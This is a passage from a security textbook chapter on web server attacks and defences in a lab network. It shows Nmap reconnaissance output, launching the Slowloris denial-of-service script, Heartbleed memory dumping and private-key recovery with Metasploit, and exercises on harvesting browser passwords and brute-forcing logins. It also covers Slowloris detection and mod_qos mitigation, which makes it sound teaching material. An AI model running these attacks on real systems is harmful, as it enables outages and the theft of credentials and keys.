Windows Server 2008 and 2008 R2 can also use dynamic restrictions with the addition of the Dynamic IP Restrictions Extension for IIS; this is available for download at http://www.iis.net/downloads/microsoft/dynamic-ip-restrictions . Once installed, another entry named Dynamic IP Restrictions becomes available in the IIS manager. It is configured in the same fashion as the feature on Windows Server 2012 and 2012 R2.

Server Reconnaissance

An attacker that is unable to find a credential to attack a protected web resource, or an attacker that is interested in other aspects of the web server (e.g., defacing the web site) needs to know as much as possible before launching any attacks. Much of this reconnaissance can be done with existing tools.

Chapter 5 covered the use of NMap; suppose the attacker starts by running an NMap scan on their target.

root@kali:∼# nmap -O -sV --script "default and safe" atria.stars.example

Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-19 22:04 EST

Nmap scan report for atria.stars.example (10.0.2.58)

Host is up (0.00017s latency).

rDNS record for 10.0.2.58: Atria.stars.example

Not shown: 996 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.3 (protocol 2.0)

| ssh-hostkey:

| 1024 86:a1:82:db:2f:0e:aa:94:3e:9f:71:e8:9b:43:c7:a8 (DSA)

|_ 2048 c2:bc:aa:1d:da:5a:5c:26:e7:30:a0:9d:84:70:8d:f1 (RSA)

80/tcp open http Apache httpd 2.2.15 ((CentOS))

|_http-methods: No Allow or Public header in OPTIONS response (status code 302)

|_http-title: Did not follow redirect to https://atria.stars.example/

443/tcp open ssl/http Apache httpd 2.2.15 ((CentOS))

| http-methods: Potentially risky methods: TRACE

|_See http://nmap.org/nsedoc/scripts/http-methods.html

|_http-title: Apache HTTP Server Test Page powered by CentOS

| ssl-cert: Subject: commonName=atria.stars.example/organizationName=Towson University/stateOrProvinceName=Maryland/countryName=US

| Not valid before: 2015-01-12T00:34:33+00:00

|_Not valid after: 2016-01-12T00:34:33+00:00

|_ssl-date: 2015-01-20T03:04:26+00:00; 0s from local time.

8080/tcp open http Apache httpd 2.2.15 ((CentOS))

| http-methods: Potentially risky methods: TRACE

|_See http://nmap.org/nsedoc/scripts/http-methods.html

|_http-title: Apache HTTP Server Test Page powered by CentOS

MAC Address: 08:00:27:AB:EE:16 (Cadmus Computer Systems)

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: general purpose

Running: Linux 2.6.X|3.X

OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3

OS details: Linux 2.6.32 - 3.10

Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 19.49 seconds

The attacker sees that there are web services running on TCP/80, TCP/443, and on TCP/8080. A number of NMap scripts are run on the target as part of the "default and safe" collection; these provide useful additional information. For example, the http-title scripts run on each site show that the sites on TCP/443 and TCP/8080 have generic titles, indicating that these sites are not fully configured. The title for TCP/80 shows that this site provides an automatic redirection to the SSL/TLS protected site, making this a potential target for an sslstrip Ettercap attack. The ssl-cert script shows that the certificate expires after one year. More information from ssl-cert is available if it is run as a stand-alone script (or with the -v option), including the public key type and size, as well as the issuer of the certificate.

root@kali:∼# nmap -p 443 --script ssl-cert atria.stars.example

Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-20 11:24 EST

Nmap scan report for atria.stars.example (10.0.2.58)

Host is up (0.00039s latency).

rDNS record for 10.0.2.58: Atria.stars.example

PORT STATE SERVICE

443/tcp open https

| ssl-cert: Subject: commonName=atria.stars.example/organizationName=Towson University/stateOrProvinceName=Maryland/countryName=US

| Issuer: commonName=dubhe.stars.example/organizationName=Towson University/stateOrProvinceName=Maryland/countryName=US

| Public Key type: rsa

| Public Key bits: 2048

| Not valid before: 2015-01-12T00:34:33+00:00

| Not valid after: 2016-01-12T00:34:33+00:00

| MD5: 3a76 2015 39c0 155e f024 d745 99f4 0bfe

|_SHA-1: d9bd ae2b 1a5d 7e43 9f67 5f34 ac50 2343 ed83 330d

MAC Address: 08:00:27:AB:EE:16 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds

A Windows server can be clearly differentiated from a Linux server; as an example consider the following scan.

root@kali:∼# nmap -O -sV --script "default and safe" pasiphae.ad.jupiter.test

Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-20 11:39 EST

Nmap scan report for pasiphae.ad.jupiter.test (10.0.5.108)

Host is up (0.00021s latency).

Not shown: 993 filtered ports

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_01-09-15 06:12PM 7962144 npp.6.7.3.Installer.exe

80/tcp open http Microsoft IIS httpd 7.5

|_http-methods: No Allow or Public header in OPTIONS response (status code 302)

|_http-title: 403 - Forbidden: Access is denied.

135/tcp open msrpc Microsoft Windows RPC

443/tcp open ssl/http Microsoft IIS httpd 7.5

|_http-methods: No Allow or Public header in OPTIONS response (status code 401)

|_http-title: 403 - Forbidden: Access is denied.

| ssl-cert: Subject: commonName=pasiphae.ad.jupiter.test/organizationName=Towson University/stateOrProvinceName=MD/countryName=US

| Not valid before: 2015-01-08T22:26:16+00:00

|_Not valid after: 2016-01-08T22:26:16+00:00

|_ssl-date: 2015-01-20T16:40:45+00:00; 0s from local time.

| sslv2:

| SSLv2 supported

| ciphers:

| SSL2_RC4_128_WITH_MD5

|_ SSL2_DES_192_EDE3_CBC_WITH_MD5

445/tcp open netbios-ssn

8080/tcp open http Microsoft IIS httpd 7.5

| http-methods: Potentially risky methods: TRACE

|_See http://nmap.org/nsedoc/scripts/http-methods.html

|_http-title: 403 - Forbidden: Access is denied.

49155/tcp open msrpc Microsoft Windows RPC

MAC Address: 08:00:27:0D:5A:A1 (Cadmus Computer Systems)

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: general purpose|phone

Running: Microsoft Windows 2008|7|Phone|Vista

OS CPE: cpe:/o:microsoft:windows_server_2008::beta3 cpe:/o:microsoft:windows_server_2008 cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1

OS details: Microsoft Windows Server 2008 or 2008 Beta 3, Windows Server 2008 R2, Microsoft Windows 7 Professional or Windows 8, Microsoft Windows Phone 7.5 or 8.0, Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008

Network Distance: 1 hop

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb-os-discovery:

| OS: Windows Server 2008 R2 Standard 7600 (Windows Server 2008 R2 Standard 6.1)

| OS CPE: cpe:/o:microsoft:windows_server_2008::-

| Computer name: elara

| NetBIOS computer name: ELARA

| Domain name: ad.jupiter.test

| Forest name: ad.jupiter.test

| FQDN: elara.ad.jupiter.test

|_ System time: 2015-01-20T11:40:46-05:00

| smb-security-mode:

| Account that was used for smb scripts: <blank>

| User-level authentication

| SMB Security: Challenge/response passwords supported

|_ Message signing disabled (dangerous, but default)

|_smbv2-enabled: Server supports SMBv2 protocol

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 103.26 seconds

NMap shows that this host is not only running an IIS web server, but also an IIS FTP site; because that FTP site is configured to allow anonymous FTP, the ftp-anon script has provided the list of files available on the site. The web server is running IIS 7.5, which is available on Windows Server 2008 R2; this is consistent with the results of the NMap operating system scan and in agreement with the smb-os-discovery script. Although the server is using SSL, it supports the older and insecure SSLv2 protocol.

An interesting result from this scan is the fact that the name of the system scanned (pasiphae.ad.jupiter.test) is different from the host name reported from smb-os-discovery (elara). In this example, this is because the host has two different IP addresses that match two different DNS names. An attacker might not recognize this though, as the smb-os-discovery script may not be able to provide this information if access to TCP/445 and TCP/139 is blocked by a firewall. However, if the server uses NTLM authentication on a web site, this same information may be available through the script http-ntlm-info.

root@kali:∼# nmap --script http-ntlm-info pasiphae.ad.jupiter.test

Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-20 11:50 EST

Nmap scan report for pasiphae.ad.jupiter.test (10.0.5.108)

Host is up (0.00022s latency).

Not shown: 993 filtered ports

PORT STATE SERVICE

21/tcp open ftp

80/tcp open http

135/tcp open msrpc

443/tcp open https

| http-ntlm-info:

| Target_Name: AD

| NetBIOS_Domain_Name: AD

| NetBIOS_Computer_Name: ELARA

| DNS_Domain_Name: ad.jupiter.test

| DNS_Computer_Name: elara.ad.jupiter.test

| DNS_Tree_Name: ad.jupiter.test

|_ Product_Version: 6.1 (Build 7600)

445/tcp open microsoft-ds

8080/tcp open http-proxy

49155/tcp open unknown

MAC Address: 08:00:27:0D:5A:A1 (Cadmus Computer Systems)

A cursory glance at the NMap output suggests that the server is not running the Microsoft web management service, as it runs by default on TCP/8172, which is not listed as open in the scan. However, TCP/8172 is not one of the 1000 commonly scanned ports by NMap; in fact a check of the file /usr/share/nmap/nmap-services (on Kali) shows that TCP/8172 is not even listed in the 19,000+ named services. A manual check of this particular port is required to determine that it is, in fact, open.

root@kali:∼# nmap -p 8172 pasiphae.ad.jupiter.test

Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-20 11:55 EST

Nmap scan report for pasiphae.ad.jupiter.test (10.0.5.108)

Host is up (0.00033s latency).

PORT STATE SERVICE

8172/tcp open unknown

MAC Address: 08:00:27:0D:5A:A1 (Cadmus Computer Systems)

Slowloris

The Slowloris attack is a denial of service attack that works against Apache web servers. The attack proceeds by making partial HTTP connections to the web server, keeping them open but never completing them. Eventually the server is unable to respond to new connections. The attack method is old; attack code was publicly released in June 2009. Despite this, it remains effective against recent unmodified versions of Apache. As an example, consider a CentOS 6.5 system running Apache 2.2.15; this distribution was released in December 2013.

The Slowloris script is available online at http://www.exploit-db.com/exploits/8976/ (see also http://www.exploit-db.com/exploits/8991/ ), and is included in Kali in the file /usr/share/exploitdb/platforms/multiple/dos/8976.py. To launch the attack, the attacker provides the name of the target:

root@kali:/usr/share/exploitdb/platforms/multiple/dos# ./8976.pl -dns atria.stars.example

... Cute ASCII Art Deleted ...

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client

Defaulting to port 80.

Defaulting to a 5 second tcp connection timeout.

Defaulting to a 100 second re-try timeout.

Defaulting to 1000 connections.

Multithreading enabled.

Connecting to atria.stars.example:80 every 100 seconds with 1000 sockets:

Building sockets.

Building sockets.

Building sockets.

Building sockets.

Building sockets.

Sending data.

Current stats: Slowloris has now sent 258 packets successfully.

This thread now sleeping for 100 seconds...

After a few moments, the server is unable to respond to requests from clients.

Despite being a denial of service attack, Slowloris uses very little bandwidth or CPU time, either for the attacker or the target. A check of the system monitor on the target system (Figure 13-14) shows minimal CPU or memory usage. The attacker is able to maintain the denial of service with small amounts of traffic: a few KB/s.

A333712_1_En_13_Fig14_HTML.jpg

Figure 13-14.

A view of the system monitor on a CentOs 6.5 (x86) system under active Slowloris attack

Though little network traffic volume is observed, the attack is noticeable if an administrator checks out netstat to see the number of connections to the system.2

cgauss@atria ∼]$ netstat -t

Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address Foreign Address State

tcp 0 0 Atria.stars.example:http ::ffff:10.0.2.222:49501 ESTABLISHED

tcp 0 0 Atria.stars.example:http ::ffff:10.0.2.222:49572 ESTABLISHED

tcp 0 0 Atria.stars.example:http ::ffff:10.0.2.222:49644 ESTABLISHED

tcp 0 0 Atria.stars.example:http ::ffff:10.0.2.222:49495 ESTABLISHED

tcp 0 0 Atria.stars.example:http ::ffff:10.0.2.222:49477 FIN_WAIT2

tcp 0 0 Atria.stars.example:http ::ffff:10.0.2.222:49676 FIN_WAIT2

tcp 0 0 Atria.stars.example:http ::ffff:10.0.2.222:49671 ESTABLISHED

... Six pages (yes, pages) of hundreds of similar lines deleted ...

tcp 0 0 Atria.stars.example:http ::ffff:10.0.2.222:49744 FIN_WAIT2

Slowloris is a resource exhaustion attack, but rather than attempting to tie up all of the target’s bandwidth, the attack instead uses up the available network connections to the server.

The Slowloris attack leaves detectable traces in the Apache logs. The Apache error log fills with hundreds of lines in the form

[Tue Jan 20 17:09:09 2015] [error] [client 10.0.2.222] request failed: error reading the headers

[Tue Jan 20 17:09:09 2015] [error] [client 10.0.2.222] request failed: error reading the headers

[Tue Jan 20 17:09:09 2015] [error] [client 10.0.2.222] request failed: error reading the headers

[Tue Jan 20 17:09:09 2015] [error] [client 10.0.2.222] request failed: error reading the headers

[Tue Jan 20 17:09:09 2015] [error] [client 10.0.2.222] request failed: error reading the headers

The corresponding Apache access log sees hundreds of requests from the same IP address. Many of the lines are of the form

10.0.2.222 - - [20/Jan/2015:17:09:09 -0500] "GET / HTTP/1.1" 400 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"

10.0.2.222 - - [20/Jan/2015:17:09:09 -0500] "GET / HTTP/1.1" 400 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"

10.0.2.222 - - [20/Jan/2015:17:09:09 -0500] "GET / HTTP/1.1" 400 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"

10.0.2.222 - - [20/Jan/2015:17:09:09 -0500] "GET / HTTP/1.1" 400 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)"

Because the attacker never completes the full HTTP request, Apache records the result as a 400 Bad Request.

An Apache administrator can do more than just detect this attack; there are Apache modules that can be used to mitigate this attack, including mod_antiloris, mod_evasive, and mod_qos. The mod_qos module is not included in the default installation; rather is it available for download separately at http://opensource.adnovum.ch/mod_qos/ . The current version is 11.8, however it remains in active development, with 10.30, 11.1, 11.2, ..., 11.7 all released in 2014.

To install mod_qos on the CentOS 6.5 system, first uncompress the result into a convenient directory, say /usr/local/src. The archive initially contains three directories along with a README.TXT

[root@atria mod_qos-11.8]# ls –F /usr/local/src/mod_qos-11.8/

apache2/ doc/ README.TXT tools/

The module mod_qos is distributed as source, so a number of development libraries are necessary to compile the result.

[root@atria tools]# yum install apr-devel apr-util-devel pcre-devel libpng-devel openssl-devel httpd-devel

These libraries are in addition to the tools gcc, make, and automake. From the tools directory, run the configure script, then compile the tool.

[root@atria mod_qos-11.8]# cd /usr/local/src/mod_qos-11.8/tools/

[root@atria tools]# aclocal

[root@atria tools]# automake

[root@atria tools]# ./configure

[root@atria tools]# make

[root@atria tools]# make install

The resulting binaries are stored in the directory /usr/local/bin.

Next, Apache must be extended with the new features. This is done with the aid of the tool apxs. Move to the apache2 subdirectory in the mod_qos directory, and execute the command

[root@atria tools]# cd /usr/local/src/mod_qos-11.8/apache2/

[root@atria apache2]# apxs -i -c ./mod_qos.c

This process generates the new Apache module mod_qos.so and stores it in /usr/lib/httpd/modules.

With the module built, Apache must be configured to load the module. Add the line below to the CentOS configuration:

LoadModule qos_module modules/mod_qos.so

The mod_qos module requires mod_ssl, and attempts to load mod_qos prior to mod_ssl may fail with an error that reads

Cannot load /etc/httpd/modules/mod_qos.so into server: /etc/httpd/modules/mod_qos.so: undefined symbol: EVP_DecryptFinal

The solution is to adjust the configuration file so that qos_module is loaded after ssl_module.

Note also that Apache on CentOS sets ServerRoot to /etc/httpd (c.f. Table 11-1), and the directory /etc/httpd/modules is a link to /usr/lib/httpd/modules, which is where mod_qos.so was stored by default.

Once the server correctly restarts, verify that the module is loaded by running the command

[root@atria tools]# apachectl -t -D DUMP_MODULES | grep qos

qos_module (shared)

Syntax OK

Next, the administrator needs to configure mod_qos to defend against Slowloris. One reasonable starting configuration is

<IfModule mod_qos.c>

# handles connections from up to 100000 different IPs

QS_ClientEntries 100000

# willallowonly 50 connections per IP

QS_SrvMaxConnPerIP 50

# maximum number of active TCP connections is limited to 256

MaxClients 256

# disables keep-alive when 3/4 of the 256 TCP connections are occupied:

QS_SrvMaxConnClose 192

# minimum request/response speed (150 bytes/second minimum)

QS_SrvMinDataRate 150

</IfModule>

These may need to be adjusted depending on the characteristics of the server; for example MaxClients may need to be an integer multiple of ThreadsPerChild. Apache 2.4 does not allow mod_qos to set QS_SrvMinDataRate. Add these or similar settings to the Apache configuration, either in a separate included file, or in the main Apache configuration file. Restart the server and verify that this approach mitigates a Slowloris attack.

The installation of mod_qos on other CentOS versions follows the same process.

On OpenSuSE systems, the names of the required development libraries are different; for example on OpenSuSE 11.0 use

pollux:∼ # zypper install libapr1-devel libapr-util1-devel pcre-devel libpng-devel apache2-devel

In contrast, on OpenSuSE 11.4 or 12.3 use

algieba:∼ # zypper install libapr1-devel libapr-util1-devel pcre-devel libpng12-devel apache2-devel

To update Apache, on some versions of OpenSuSE, an include directory containing mpm.h needs to be manually specified.

pollux:/usr/local/src/mod_qos-11.8/apache2 # apxs2 -i -I /usr/include/apache2-worker/ -c ./mod_qos.c

The name of the tool to add the module to Apache is named apxs2 rather than apxs. The binaries from the compile process are stored in /usr/local/bin while the Apache module is stored in /usr/lib/apache2 or /usr/lib64/apache2. The LoadModule directive must be updated to point to the proper location.

Ubuntu and Mint systems also use different names that vary slightly between distributions for the required libraries; for example, on Ubuntu 8.10 install the development libraries with

gleibniz@cabe:∼/$ sudo apt-get install libapr1-dev libaprutil1-dev libpng12-dev apache2-threaded-dev

The corresponding command on Ubuntu 13.10 is

leuler@Eagle:∼/$ sudo apt-get install libapr1-dev libaprutil1-dev libpng12-dev apache2-dev

The remaining installation process follows the same lines as CentOS and OpenSuSE.

Heartbleed

Heartbleed is an attack against the OpenSSL library, versions 1.0.1 through 1.0.1.f, discovered in April 2014; the vulnerability has the designation CVE 2014-0160. Due to an overflow in the heartbeat extension, it becomes possible to read a portion of the memory on the target. The attacker cannot control the execution flow on the target, and cannot choose which portion of memory is revealed. On the other hand, the attack can be repeated until sensitive information is disclosed. In particular, a lucky attacker may be able to read passwords, cookies, or even the server’s private key from the portion of memory exposed.

A number of the Linux distributions under consideration use a vulnerable version of OpenSSL in their default configuration, including

· CentOS 6.5

· Mint 13, 14, 15, 16

· OpenSuSE 12.2, 12.3, 13.1

· Ubuntu 12.04, 12.10, 13.04, 13.10

NMap includes a script to check for the presence of the Heartbleed on a target.

root@kali:∼# nmap -p 443 --script ssl-heartbleed atria.stars.example

Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-22 13:26 EST

Nmap scan report for atria.stars.example (10.0.2.58)

Host is up (0.00015s latency).

rDNS record for 10.0.2.58: Atria.stars.example

PORT STATE SERVICE

443/tcp open https

| ssl-heartbleed:

| VULNERABLE:

| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.

| State: VULNERABLE

| Risk factor: High

| Description:

| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.

|

| References:

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160

| http://cvedetails.com/cve/2014-0160/

|_ http://www.openssl.org/news/secadv_20140407.txt

MAC Address: 08:00:27:AB:EE:16 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds

Metasploit can not only scan for the vulnerability but also return the leaked data with the module auxiliary/scanner/ssl/openssl_heartbleed. By default, it is configured as a scanner.

root@kali:∼# msfconsole -q

msf > use auxiliary/scanner/ssl/openssl_heartbleed

msf auxiliary(openssl_heartbleed) > info

Name: OpenSSL Heartbeat (Heartbleed) Information Leak

Module: auxiliary/scanner/ssl/openssl_heartbleed

License: Metasploit Framework License (BSD)

Rank: Normal

Disclosed: 2014-04-07

... Output Deleted ...

Available actions:

Name Description

---- -----------

DUMP Dump memory contents

KEYS Recover private keys from memory

SCAN Check hosts for vulnerability

Basic options:

Name Current Setting Required Description

---- --------------- -------- -----------

DUMPFILTER no Pattern to filter leaked memory before storing

MAX_KEYTRIES 50 yes Max tries to dump key

RESPONSE_TIMEOUT 10 yes Number of seconds to wait for a server response

RHOSTS yes The target address range or CIDR identifier

RPORT 443 yes The target port

STATUS_EVERY 5 yes How many retries until status

THREADS 1 yes The number of concurrent threads

TLS_CALLBACK None yes Protocol to use, "None" to use raw TLS sockets (accepted: None, SMTP, IMAP, JABBER, POP3, FTP, POSTGRES)

TLS_VERSION 1.0 yes TLS/SSL version to use (accepted: SSLv3, 1.0, 1.1, 1.2)

Description:

This module implements the OpenSSL Heartbleed attack. The problem

exists in the handling of heartbeat requests, where a fake length

can be used to leak memory data in the response. Services that

support STARTTLS may also be vulnerable. The module supports several

actions, allowing for scanning, dumping of memory contents, and

private key recovery.

... Output Deleted ...

msf auxiliary(openssl_heartbleed) > set rhosts 10.0.2.0/24

rhosts => 10.0.2.0/24

msf auxiliary(openssl_heartbleed) > run

[*] Scanned 26 of 256 hosts (10% complete)

[*] Scanned 52 of 256 hosts (20% complete)

[+] 10.0.2.58:443 - Heartbeat response with leak

[+] 10.0.2.70:443 - Heartbeat response with leak

[*] Scanned 77 of 256 hosts (30% complete)

[*] Scanned 103 of 256 hosts (40% complete)

[*] Scanned 128 of 256 hosts (50% complete)

[*] Scanned 154 of 256 hosts (60% complete)

[*] Scanned 180 of 256 hosts (70% complete)

[*] Scanned 205 of 256 hosts (80% complete)

[*] Scanned 231 of 256 hosts (90% complete)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

Once a potential target is identified, the same module can be run with the DUMP action. If it is run with the verbose option set to true, the printable data is sent to the screen.

msf auxiliary(openssl_heartbleed) > set rhosts 10.0.2.58

rhosts => 10.0.2.58

msf auxiliary(openssl_heartbleed) > set verbose true

verbose => true

msf auxiliary(openssl_heartbleed) > set action DUMP

action => DUMP

msf auxiliary(openssl_heartbleed) > run

[*] 10.0.2.58:443 - Sending Client Hello...

[!] SSL record #1:

[!] Type: 22

... Output Deleted ...

[*] 10.0.2.58:443 - Sending Heartbeat...

[*] 10.0.2.58:443 - Heartbeat response, 65535 bytes

[+] 10.0.2.58:443 - Heartbeat response with leak

[*] 10.0.2.58:443 - Heartbeat data stored in /root/.msf4/loot/20150122144312_default_10.0.2.58_openssl.heartble_570320.bin

[*] 10.0.2.58:443 - Printable info leaked: T)Ctu\:z>T8!f"!98532ED/A@@aD}@6J9_RtQ.cr∼ZyB*)2JFzc^Y7{3F;rx[xt}3bt}h9>$!c]_dNUkO’:tBfP&JQ)jUM?Pz@N:gO1$m@BO*9>&N{Wbtw|#Fh\Ac9Rnw∼na|et[mMI!]U-Gg,O5}nPH}aiyi`f&-@3T59A;xqtzyJ*\>iA0zZLaUA/tkEvoph/.cuJr^("k@*z<dIlvRE*C{\}Htq0*HBy*JSH5?s2PPpLwR7tt:A5’YS.p3.LlYj$*C9\lG:}ae_ZZI<VJK/B0-}JC\10b9x1A}P8{%xJMcb+R4MeCMb|qUX\SY#g,&bs%?J(H,#t:;gv2kY{ayA<"#D_DeMxCQ<bw({x\E[#q)]oQO00D’jw(}:KdO/#=8DR49A^[g}Gx/0WDD}!jjjx j=2aplD>z]{MB\@$%UX:c/0AB4yDr!,7NE}}Ih=kd0 LNmv8K\lx^/F’r"5ep3EL*e"Y<`zS#5L !/!PH!TZIcXfWo’tl(Hpf"!98532ED/A G G/!/! ooCCH( G G@0!@0!VRTNS2US-gU_P8 /=yuK;I\ro4)d3XTQN0J020*H0k10UUS10UMaryland10UTowson10UTowson University10Udubhe.stars.example0150@112003433Z160112003433Z0k10UUS10UMaryland10UTowson10UTowson University10Uatria.stars.example0"0*H0pvZ8q∼pY#AYt^Uk6lz&+Ak^]m2"kR]ls,2IH2[3&7rNgM&+N2?&!o}6G]Ri∼8,v[cQ_g<dIlvRE*C{\}Htq0*HBy*JSH5?s2PPpLwR7tt:A5’YS.p3.LlYj$*C9\lG:}ae_ZZI<VJK/B0-}JC\10b9x1A}P8{%xJMcb+R4MeCMb|qUX\SY#g,&bs%}@6J9_RtQ.cr∼ZyB*)2JFzc^Y7{3F;rx[xt}3bt}h9>$!aa?2rV,;L∼YIqo$kn<wr&\q.8;s^AST’jC(%[R^RQZyhL`ytdQzgwq0t/X-70N84IcQs{ja{AC/)z7K:fgPQ!hb-/E(|2XTN!zpX: uiF TSq<vo]2!q8{@fq@4:xa}cfG;{1b{Zw{Bmv8K\lx^/F’r"5ep3EL*e"Y<`zS#5L !/!PH!T)Ctu\:z>T8!f"!98532ED/A G G/!/! ooCCH( G G@0!@0!VRTRfrR]Omp\")Q*Ame /B`+B0[15"["T3XTQN0J020*H0k10UUS10UMaryland10UTowson10UTowson University10Udubhe.stars.example0150112003433Z160112003433Z0k10UUS10UMaryland10UTowson10UTowson University10Uatria.stars.example0"0*H0pvZ8q∼pY#AYt^Uk6lz&+Ak^]m2"kR]ls,2IH2[3&7rNgM&+N2?&!o}6G]Ri∼8,v[cQ_g<dIlvRE*C{\}Htq0*HBy*JSH5?s2PPpLwR7tt:A5’YS.p3.LlYj$*C9\lG:}ae_ZZI<VJK/B0-}JC\10b9x1A}P8{%xJMcb+R4MeCMb|qUX\SY#g,&bs%}@6J9_RtQ.cr∼ZyB*)2JFzc^Y7{3F;rx[xt}3bt}h9>$!c]_dNUkO’:tBfP&JQ)jUM?Pz@N:gO1$m@BO*9>&N{Wbtw|#Fh\Ac9Rnw∼na|et[mMI!]U-Gg,O5}nPH}aiyi`f&-@3T59A;xqtzyJ*\>iA0zZLaUA/tkEvoph/.cuJr^("k@*zmv8K\lx^/F’r"5ep3EL*e"Y<`zS#5

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

The extracted random data in this case shows information that appears to be from the certificate chain.

It is also possible to use Metasploit to attempt to determine the server’s private key with the KEYS action.

msf auxiliary(openssl_heartbleed) > set verbose false

verbose => false

msf auxiliary(openssl_heartbleed) > set action KEYS

action => KEYS

msf auxiliary(openssl_heartbleed) > run

[*] 10.0.2.58:443 - Scanning for private keys

[*] 10.0.2.58:443 - Getting public key constants...

[*] 10.0.2.58:443 - 2015-01-22 19:47:16 UTC - Starting.

[*] 10.0.2.58:443 - 2015-01-22 19:47:16 UTC - Attempt 0...

[*] 10.0.2.58:443 - 2015-01-22 19:48:24 UTC - Attempt 5...

[*] 10.0.2.58:443 - 2015-01-22 19:49:31 UTC - Attempt 10...

[*] 10.0.2.58:443 - 2015-01-22 19:50:36 UTC - Attempt 15...

[*] 10.0.2.58:443 - 2015-01-22 19:51:44 UTC - Attempt 20...

[*] 10.0.2.58:443 - 2015-01-22 19:52:50 UTC - Attempt 25...

[*] 10.0.2.58:443 - 2015-01-22 19:53:56 UTC - Attempt 30...

[*] 10.0.2.58:443 - 2015-01-22 19:55:03 UTC - Attempt 35...

[*] 10.0.2.58:443 - 2015-01-22 19:56:08 UTC - Attempt 40...

[*] 10.0.2.58:443 - 2015-01-22 19:57:15 UTC - Attempt 45...

[-] 10.0.2.58:443 - Private key not found. You can try to increase MAX_KEYTRIES and/or HEARTBEAT_LENGTH.

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

Exercises

1.

Experiment with Metasploit data-gathering modules for Firefox, including

· post/firefox/gather/passwords

· post/multi/gather/firefox_creds

· post/firefox/gather/history

· post/firefox/gather/cookies

2.

Try the Metasploit module to collect password data from Chrome, post/windows/gather/enum_chrome.

3.

Experiment with other data-gathering Metasploit modules for Internet Explorer. Is it possible to obtain the target’s browser history?

4.

Run Ettercap, and dump the results to a log file. Use Etterlog to analyze the result. What switch can be used to extract just the password data?

5.

What information is obtained by an attacker that intercepts SSL/TLS communication to an IIS web site that uses Windows authentication?

6.

Run an sslstrip Ettercap attack against a web site running IIS. Compare the results between basic authentication and Windows authentication.

7.

Experiment with the NMap script http-brute to attack a password protected web site.

8.

Experiment with the Metasploit module auxiliary/scanner/http/http_login to attack a password protected web site.

9.

How much of the information about a web server is available by manually connecting to a web server via netcat or telnet, and making a manual request? What are the advantages and disadvantages?

10.

Run an NMap scan from within Metasploit, saving the results to the database.

11.

Experiment with the Metasploit module auxiliary/scanner/http/http_version.

12.

The NMap script http-userdir-enum tries to determine valid usernames on an Apache web server that provide per-user directories. Run the script against an Apache server. The list of usernames checked by the script is contained in the file /usr/share/nmap/nselib/data/usernames.lst (on Kali).

13.

(Advanced) Install mod_evasive on Apache and configure it to protect against Slowloris.

Notes and References

The Texas Tech security group wrote a nice primer on how browsers store passwords; it is available from http://raidersec.blogspot.com/2013/06/how-browsers-store-your-passwords-and.html . An older summary of Firefox practice is at http://realinfosec.com/?p=111 .

Information about SSLStrip is available from http://www.thoughtcrime.org/software/sslstrip/, including the original Black Hat DC 2009 presentation. The slides are available at https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf .

Burp Suite has excellent documentation available from http://portswigger.net/burp/help/ . For a complete discussion of Burp Suite, including features from Burp Suite Pro, check out

· Burp Suite Essentials, Akash Mahajan. Packt Publishing, November 2014.

The Python code used to brute force a web site that uses NTLM authentication is based on the Python-NTLM project, https://code.google.com/p/python-ntlm/ .

